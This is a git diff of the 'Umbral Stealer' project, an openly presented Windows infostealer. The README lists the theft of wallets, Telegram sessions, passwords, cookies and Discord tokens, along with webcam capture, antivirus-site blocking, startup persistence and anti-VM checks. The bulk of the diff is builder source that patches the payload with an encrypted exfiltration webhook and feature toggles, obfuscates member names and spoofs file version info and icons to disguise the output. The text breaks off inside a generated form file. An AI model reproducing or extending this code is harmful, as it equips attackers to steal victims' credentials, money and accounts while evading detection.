diff --git a/README.md b/README.md index 8e3c67a..ef53b5f 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,10 @@ The author of this program is not liable for any damage, harm, or legal conseque - Captures Webcam Photos. - Captures IP Address. - Captures Screenshot(s) of All Monitors. -- Add to Startup. +- Captures Wallets. +- Captures Telegram Sessions. +- Blocks AV Sites (Buggy). +- Adds itself to Startup. - Anti-Virtual Machine. - Obfuscation. - Self Destruct. diff --git a/Umbral.sln b/Umbral Stealer.sln similarity index 50% rename from Umbral.sln rename to Umbral Stealer.sln index 246d9b5..8b0a616 100644 --- a/Umbral.sln +++ b/Umbral Stealer.sln @@ -1,31 +1,31 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.5.33424.131 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Umbral.payload", "Umbral.payload\Umbral.payload.csproj", "{29214A1B-5A98-4D83-926B-DE1D7C06220B}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Umbral.builder", "Umbral.builder\Umbral.builder.csproj", "{41A2AD95-749B-4C06-8711-CAAB7C5DB3BC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {29214A1B-5A98-4D83-926B-DE1D7C06220B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {29214A1B-5A98-4D83-926B-DE1D7C06220B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {29214A1B-5A98-4D83-926B-DE1D7C06220B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {29214A1B-5A98-4D83-926B-DE1D7C06220B}.Release|Any CPU.Build.0 = Release|Any CPU - {41A2AD95-749B-4C06-8711-CAAB7C5DB3BC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {41A2AD95-749B-4C06-8711-CAAB7C5DB3BC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {41A2AD95-749B-4C06-8711-CAAB7C5DB3BC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {41A2AD95-749B-4C06-8711-CAAB7C5DB3BC}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {52766EEB-5EB1-4D8A-828D-CCB6B5864539} - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.5.33627.172 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Umbral.payload", "Umbral.payload\Umbral.payload.csproj", "{E823C15A-DDAF-4D1E-A6EB-80645D1EE735}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Umbral.builder", "Umbral.builder\Umbral.builder.csproj", "{C8BB4BC3-944B-43A1-8A0C-E2A258DC190F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E823C15A-DDAF-4D1E-A6EB-80645D1EE735}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E823C15A-DDAF-4D1E-A6EB-80645D1EE735}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E823C15A-DDAF-4D1E-A6EB-80645D1EE735}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E823C15A-DDAF-4D1E-A6EB-80645D1EE735}.Release|Any CPU.Build.0 = Release|Any CPU + {C8BB4BC3-944B-43A1-8A0C-E2A258DC190F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C8BB4BC3-944B-43A1-8A0C-E2A258DC190F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C8BB4BC3-944B-43A1-8A0C-E2A258DC190F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C8BB4BC3-944B-43A1-8A0C-E2A258DC190F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {B4585166-F805-428C-97F5-151C285E02E6} + EndGlobalSection +EndGlobal diff --git a/Umbral.builder/App.config b/Umbral.builder/App.config index 62e0cc3..05d8b24 100644 --- a/Umbral.builder/App.config +++ b/Umbral.builder/App.config @@ -1,6 +1,3 @@ - + - - - - \ No newline at end of file + diff --git a/Umbral.builder/Build/Builder.cs b/Umbral.builder/Build/Builder.cs deleted file mode 100644 index 070cfed..0000000 --- a/Umbral.builder/Build/Builder.cs +++ /dev/null @@ -1,249 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using System.Text; -using System.Windows.Forms; -using Jose; -using Mono.Cecil; -using Mono.Cecil.Cil; -using Mono.Cecil.Rocks; -using Vestris.ResourceLib; - -namespace Umbral.builder.Build -{ - - public struct AssemblyInfo - { - public string CompanyName; - public string FileDescription; - public string ProductName; - public string LegalCopyright; - public string LegalTrademarks; - public string InternalName; - public string OriginalFilename; - public int[] FileVersion; - public int[] ProductVersion; - public int[] AssemblyVersion; - } - - public class Builder - { - private const string Version = "v1.2"; - private const string PayloadFile = "Umbral.payload"; - public bool AntiVm; - - public AssemblyInfo AssemblyInformation; - public bool CaptureScreenshot; - public bool CaptureWebcam; - public string IconPath; - - public string Output; - - public bool Ping; - public bool SelfDestruct; - public bool Startup; - public bool StealCookies; - public bool StealMinecraftSession; - public bool StealPasswords; - public bool StealRobloxCookies; - public bool StealTokens; - public string Webhook; - - public bool Build(TextBox textBox) - { - if (!File.Exists(PayloadFile)) - { - textBox.AppendText($"File not found: {PayloadFile} file not found."); - return false; - } - - textBox.Clear(); - - byte[] iv = Encoding.UTF8.GetBytes(GenerateRandomString(12)); - byte[] key = Encoding.UTF8.GetBytes(GenerateRandomString(32)); - - try - { - - #region ModifyInstructions - - string tempFile = GenerateRandomString(10) + ".tmp"; - textBox.AppendText("Reading payload file..."); - AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(PayloadFile); - TypeDefinition settings = - assembly.MainModule.Types.Single(x => x.FullName == "Umbral.payload.Config.Settings"); - MethodDefinition constructor = settings.GetStaticConstructor(); - - - int strings = 0, bools = 0; - - textBox.AppendText("\r\nApplying settings..."); - - foreach (Instruction instruction in constructor.Body.Instructions) - { - if (instruction.OpCode == OpCodes.Ldstr) // String - { - switch (++strings) - { - case 1: // webhookUrl - instruction.Operand = Encrypt(Webhook, key, iv); - break; - case 2: // version - instruction.Operand = Encrypt(Version, key, iv); - break; - case 3: // mutex - instruction.Operand = GenerateRandomString(20); - break; - case 4: // key - instruction.Operand = Convert.ToBase64String(key); - break; - case 5: // iv - instruction.Operand = Convert.ToBase64String(iv); - break; - } - - } - else if (instruction.OpCode == OpCodes.Ldc_I4_0 || instruction.OpCode == OpCodes.Ldc_I4_1) // Boolean - { - switch (++bools) - { - case 1: // ping - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = Ping ? 1 : 0; - break; - case 2: // antiVm - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = AntiVm ? 1 : 0; - break; - case 3: // startup - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = Startup ? 1 : 0; - break; - case 4: // stealPasswords - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = StealPasswords ? 1 : 0; - break; - case 5: // stealCookies - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = StealCookies ? 1 : 0; - break; - case 6: // stealRobloxCookies - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = StealRobloxCookies ? 1 : 0; - break; - case 7: // stealMinecraftFiles - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = StealMinecraftSession ? 1 : 0; - break; - case 8: // stealDiscordTokens - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = StealTokens ? 1 : 0; - break; - case 9: // takeScreenshot - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = CaptureScreenshot ? 1 : 0; - break; - case 10: // deleteSelf - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = SelfDestruct ? 1 : 0; - break; - case 11: // captureWebcam - instruction.OpCode = OpCodes.Ldc_I4; - instruction.Operand = CaptureWebcam ? 1 : 0; - break; - } - } - } - - Renamer renamer = new Renamer(assembly); - if (!renamer.Perform()) - textBox.AppendText("\r\nObfuscation Failed!"); - assembly.Write(tempFile); - - #endregion - - textBox.AppendText("\r\nModifying assembly information..."); - - #region ModifyAssemblyInfo - - VersionResource resource = new VersionResource(); - resource.LoadFrom(tempFile); - - resource.FileVersion = string.Join(".", AssemblyInformation.FileVersion); - resource.ProductVersion = string.Join(".", AssemblyInformation.AssemblyVersion); - resource.Language = 0; - - StringFileInfo stringFileInfo = (StringFileInfo)resource["StringFileInfo"]; - stringFileInfo["CompanyName"] = AssemblyInformation.CompanyName; - stringFileInfo["FileDescription"] = AssemblyInformation.FileDescription; - stringFileInfo["ProductName"] = AssemblyInformation.ProductName; - stringFileInfo["LegalCopyright"] = AssemblyInformation.LegalCopyright; - stringFileInfo["LegalTrademarks"] = AssemblyInformation.LegalTrademarks; - stringFileInfo["ProductVersion"] = string.Join(".", AssemblyInformation.ProductVersion); - stringFileInfo["FileVersion"] = string.Join(".", AssemblyInformation.FileVersion); - stringFileInfo["AssemblyVersion"] = string.Join(".", AssemblyInformation.AssemblyVersion); - stringFileInfo["InternalName"] = AssemblyInformation.InternalName; - stringFileInfo["OriginalFilename"] = AssemblyInformation.OriginalFilename; - - StringTableEntry.ConsiderPaddingForLength = true; - resource.SaveTo(tempFile); - - #endregion - - if (File.Exists(IconPath) && IconPath.ToLower().EndsWith(".ico") && File.Exists(tempFile)) - { - - #region ModifyIcon - - textBox.AppendText("\r\nApplying icon..."); - IconFile iconFile = new IconFile(IconPath); - IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); - iconDirectoryResource.SaveTo(tempFile); - - #endregion - - } - - if (File.Exists(Output)) - File.Delete(Output); - - - File.Move(tempFile, Output); - - if (File.Exists(tempFile)) - File.Delete(tempFile); - - textBox.AppendText($"\r\nSuccessfully saved as \"{Path.GetFileName(Output)}\""); - - textBox.AppendText("\r\n----------------------------------------------"); - - return true; - } - catch (Exception ex) - { - textBox.AppendText($"\r\nError: {ex.Message}:{ex.StackTrace}"); - } - - return false; - } - - static private string GenerateRandomString(int length) - { - Random random = new Random(); - string chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - StringBuilder result = new StringBuilder(); - - for (int i = 0; i < length; i++) - result.Append(chars[random.Next(0, chars.Length)]); - - return result.ToString(); - } - - static private string Encrypt(string value, byte[] key, byte[] iv) - { - byte[][] structure = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(value)); - - return Convert.ToBase64String(structure[0].Concat(structure[1]).ToArray()); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/Components/Build/Builder.cs b/Umbral.builder/Components/Build/Builder.cs new file mode 100644 index 0000000..c590dc8 --- /dev/null +++ b/Umbral.builder/Components/Build/Builder.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Net.NetworkInformation; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Jose; +using Mono.Cecil; +using Mono.Cecil.Cil; +using Mono.Cecil.Rocks; +using Umbral.builder.Components.Utilities; +using Vestris.ResourceLib; + +namespace Umbral.builder.Components.Build +{ + internal class Builder + { + private const string _payloadFile = "Umbral.payload"; + + public void Build(string outputFilePath) + { + if (!File.Exists(_payloadFile)) + { + MessageBox.Show(_payloadFile + " Not found in the current directory.", "Build Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + else + { + var iv = Encoding.UTF8.GetBytes(Common.GenerateRandomString(12)); + var key = Encoding.UTF8.GetBytes(Common.GenerateRandomString(32)); + + try + { + var tempFile = Common.GenerateRandomString(10) + ".tmp"; + + var assembly = AssemblyDefinition.ReadAssembly(_payloadFile); + var settings = assembly.MainModule.Types.Single(x => x.FullName == "Umbral.payload.Settings"); + var cctor = settings.GetStaticConstructor(); + + var strings = 0; + var bools = 0; + + foreach (var instruction in cctor.Body.Instructions) + { + if (instruction.OpCode == OpCodes.Ldstr) // String + { + switch (++strings) + { + case 1: // key + instruction.Operand = Convert.ToBase64String(key); + break; + + case 2: // iv + instruction.Operand = Convert.ToBase64String(iv); + break; + + case 3: // encryptedWebhook + instruction.Operand = Encrypt(Settings.Webhook, key, iv); + break; + + case 4: // encryptedVersion + instruction.Operand = Encrypt(Settings.Version, key, iv); + break; + + case 5: // encryptedMutex; + instruction.Operand = Encrypt(Settings.Mutex, key, iv); + break; + } + } + else if (instruction.OpCode == OpCodes.Ldc_I4_0 || instruction.OpCode == OpCodes.Ldc_I4_1) // Boolean + { + switch (++bools) + { + case 1: // ping + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.Ping ? 1 : 0; + break; + + case 2: // startup + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.Startup ? 1 : 0; + break; + + case 3: // antiVm + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.AntiVm ? 1 : 0; + break; + + case 4: // melt + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.Melt ? 1 : 0; + break; + + case 5: // blockAvSites + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.BlockAvSites ? 1 : 0; + break; + + case 6: // stealDiscordToken + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealDiscordTokens ? 1 : 0; + break; + + case 7: // stealPasswords + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealPasswords ? 1 : 0; + break; + + case 8: // stealCookies + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealCookies ? 1 : 0; + break; + + case 9: // stealGames + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealGames ? 1 : 0; + break; + + case 10: // stealTelegramSessions + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealTelegramSessions ? 1 : 0; + break; + + case 11: // stealSystemInfo + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealSystemInfo ? 1 : 0; + break; + + case 12: // stealWallets + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.StealWallets ? 1 : 0; + break; + + case 13: // takeWebcamSnapshot + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.TakeWebcamSnapshot ? 1 : 0; + break; + + case 14: // takeScreenshot + instruction.OpCode = OpCodes.Ldc_I4; + instruction.Operand = Settings.TakeScreenshot ? 1 : 0; + break; + } + } + } + var renamer = new Renamer(assembly); + + renamer.Perform(); + + assembly.Write(tempFile); + + var resource = new VersionResource(); + resource.LoadFrom(tempFile); + resource.Language = 0; + + var stringFileInfo = (StringFileInfo)resource["StringFileInfo"]; + stringFileInfo["CompanyName"] = Settings.CompanyName; + stringFileInfo["FileDescription"] = Settings.FileDescription; + stringFileInfo["ProductName"] = Settings.ProductName; + stringFileInfo["LegalCopyright"] = Settings.LegalCopyright; + stringFileInfo["LegalTrademarks"] = Settings.LegalTrademarks; + stringFileInfo["InternalName"] = Settings.InternalName; + stringFileInfo["OriginalFilename"] = Settings.OriginalFilename; + + StringTableEntry.ConsiderPaddingForLength = true; + resource.SaveTo(tempFile); + + if (File.Exists(Settings.IconPath) && Settings.IconPath.ToLower().EndsWith(".ico") && File.Exists(tempFile)) + { + try + { + var iconFile = new IconFile(Settings.IconPath); + var iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(tempFile); + } + catch { } + } + if (File.Exists(outputFilePath)) + { + File.Delete(outputFilePath); + } + + File.Move(tempFile, outputFilePath); + + if (File.Exists(tempFile)) + { + File.Delete(tempFile); + } + MessageBox.Show($"Successfully saved file as \"{outputFilePath}\".", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Build Error: {ex.Message}", "Build Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + + static private string Encrypt(string value, byte[] key, byte[] iv) + { + byte[][] structure = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(value)); + + return Convert.ToBase64String(structure[0].Concat(structure[1]).ToArray()); + } + } +} diff --git a/Umbral.builder/Build/Renamer.cs b/Umbral.builder/Components/Build/Renamer.cs similarity index 95% rename from Umbral.builder/Build/Renamer.cs rename to Umbral.builder/Components/Build/Renamer.cs index fd6c983..1cff051 100644 --- a/Umbral.builder/Build/Renamer.cs +++ b/Umbral.builder/Components/Build/Renamer.cs @@ -1,201 +1,201 @@ -// https://github.com/quasar/Quasar/blob/master/Quasar.Server/Build/Renamer.cs - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using Mono.Cecil; - -namespace Umbral.builder.Build -{ - public class Renamer - { - private readonly Dictionary _eventOverloaders; - private readonly Dictionary _fieldOverloaders; - private readonly Dictionary _methodOverloaders; - private readonly MemberOverloader _typeOverloader; - - public Renamer(AssemblyDefinition asmDef) - : this(asmDef, 20) - { - } - - public Renamer(AssemblyDefinition asmDef, int length) - { - AsmDef = asmDef; - Length = length; - _typeOverloader = new MemberOverloader(Length); - _methodOverloaders = new Dictionary(); - _fieldOverloaders = new Dictionary(); - _eventOverloaders = new Dictionary(); - } - - /// - /// Contains the assembly definition. - /// - public AssemblyDefinition AsmDef { get; set; } - - private int Length { get; } - - /// - /// Attempts to modify the assembly definition data. - /// - /// True if the operation succeeded; False if the operation failed. - public bool Perform() - { - try - { - foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) - { - RenameInType(typeDef); - } - - return true; - } - catch - { - return false; - } - } - - private void RenameInType(TypeDefinition typeDef) - { - if (!typeDef.Namespace.StartsWith("Umbral") || typeDef.IsEnum /* || typeDef.HasInterfaces */) - return; - - _typeOverloader.GiveName(typeDef); - - typeDef.Namespace = string.Empty; - - MemberOverloader methodOverloader = GetMethodOverloader(typeDef); - MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); - MemberOverloader eventOverloader = GetEventOverloader(typeDef); - - if (typeDef.HasNestedTypes) - foreach (TypeDefinition nestedType in typeDef.NestedTypes) - RenameInType(nestedType); - - if (typeDef.HasMethods) - foreach (MethodDefinition methodDef in - typeDef.Methods.Where(methodDef => - !methodDef.IsConstructor && !methodDef.HasCustomAttributes && - !methodDef.IsAbstract && !methodDef.IsVirtual)) - methodOverloader.GiveName(methodDef); - - if (typeDef.HasFields) - foreach (FieldDefinition fieldDef in typeDef.Fields) - fieldOverloader.GiveName(fieldDef); - - if (typeDef.HasEvents) - foreach (EventDefinition eventDef in typeDef.Events) - eventOverloader.GiveName(eventDef); - } - - private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) - { - return GetOverloader(_methodOverloaders, typeDef); - } - - private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) - { - return GetOverloader(_fieldOverloaders, typeDef); - } - - private MemberOverloader GetEventOverloader(TypeDefinition typeDef) - { - return GetOverloader(_eventOverloaders, typeDef); - } - - private MemberOverloader GetOverloader(Dictionary overloaderDictionary, - TypeDefinition targetTypeDef) - { - MemberOverloader overloader; - if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) - { - overloader = new MemberOverloader(Length); - overloaderDictionary.Add(targetTypeDef, overloader); - } - - return overloader; - } - - private class MemberOverloader - { - private readonly char[] _charMap; - private readonly Random _random = new Random(); - private readonly Dictionary _renamedMembers = new Dictionary(); - private int[] _indices; - - public MemberOverloader(int startingLength, bool doRandom = true) - : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) - { - } - - private MemberOverloader(int startingLength, bool doRandom, char[] chars) - { - _charMap = chars; - DoRandom = doRandom; - StartingLength = startingLength; - _indices = new int[startingLength]; - } - - private bool DoRandom { get; } - private int StartingLength { get; } - - public void GiveName(MemberReference member) - { - string currentName = GetCurrentName(); - string originalName = member.ToString(); - member.Name = currentName; - while (_renamedMembers.ContainsValue(member.ToString())) - { - member.Name = GetCurrentName(); - } - - _renamedMembers.Add(originalName, member.ToString()); - } - - private string GetCurrentName() - { - return DoRandom ? GetRandomName() : GetOverloadedName(); - } - - private string GetRandomName() - { - StringBuilder builder = new StringBuilder(); - - for (int i = 0; i < StartingLength; i++) - { - builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); - } - - return builder.ToString(); - } - - private string GetOverloadedName() - { - IncrementIndices(); - char[] chars = new char[_indices.Length]; - for (int i = 0; i < _indices.Length; i++) - chars[i] = _charMap[_indices[i]]; - return new string(chars); - } - - private void IncrementIndices() - { - for (int i = _indices.Length - 1; i >= 0; i--) - { - _indices[i]++; - if (_indices[i] >= _charMap.Length) - { - if (i == 0) - Array.Resize(ref _indices, _indices.Length + 1); - _indices[i] = 0; - } - else - break; - } - } - } - } +// Source: https://github.com/quasar/Quasar/blob/master/Quasar.Server/Build/Renamer.cs + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Mono.Cecil; + +namespace Umbral.builder.Components.Build +{ + public class Renamer + { + private readonly Dictionary _eventOverloaders; + private readonly Dictionary _fieldOverloaders; + private readonly Dictionary _methodOverloaders; + private readonly MemberOverloader _typeOverloader; + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 20) + { + } + + public Renamer(AssemblyDefinition asmDef, int length) + { + AsmDef = asmDef; + Length = length; + _typeOverloader = new MemberOverloader(Length); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + } + + /// + /// Contains the assembly definition. + /// + public AssemblyDefinition AsmDef { get; set; } + + private int Length { get; } + + /// + /// Attempts to modify the assembly definition data. + /// + /// True if the operation succeeded; False if the operation failed. + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Umbral") || typeDef.IsEnum /* || typeDef.HasInterfaces */) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = string.Empty; + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(_methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(_fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(_eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + MemberOverloader overloader; + if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) + { + overloader = new MemberOverloader(Length); + overloaderDictionary.Add(targetTypeDef, overloader); + } + + return overloader; + } + + private class MemberOverloader + { + private readonly char[] _charMap; + private readonly Random _random = new Random(); + private readonly Dictionary _renamedMembers = new Dictionary(); + private int[] _indices; + + public MemberOverloader(int startingLength, bool doRandom = true) + : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) + { + } + + private MemberOverloader(int startingLength, bool doRandom, char[] chars) + { + _charMap = chars; + DoRandom = doRandom; + StartingLength = startingLength; + _indices = new int[startingLength]; + } + + private bool DoRandom { get; } + private int StartingLength { get; } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + + for (int i = 0; i < StartingLength; i++) + { + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } } \ No newline at end of file diff --git a/Umbral.builder/Components/Forms/AssemblyEditorForm.Designer.cs b/Umbral.builder/Components/Forms/AssemblyEditorForm.Designer.cs new file mode 100644 index 0000000..b479d93 --- /dev/null +++ b/Umbral.builder/Components/Forms/AssemblyEditorForm.Designer.cs @@ -0,0 +1,1054 @@ +namespace Umbral.builder.Components.Forms +{ + partial class AssemblyEditorForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AssemblyEditorForm)); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties1 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties2 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties3 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties4 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties5 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties6 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties7 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties8 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties9 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties10 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties11 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties12 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties13 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties14 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties15 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties16 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties17 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties18 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties19 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties20 = new Bunifu.UI.WinForms.BunifuTextBox.StateProperties(); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges1 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges borderEdges2 = new Bunifu.UI.WinForms.BunifuButton.BunifuButton.BorderEdges(); + Bunifu.UI.WinForms.BunifuTextBox.StateProperties stateProperties21 = new 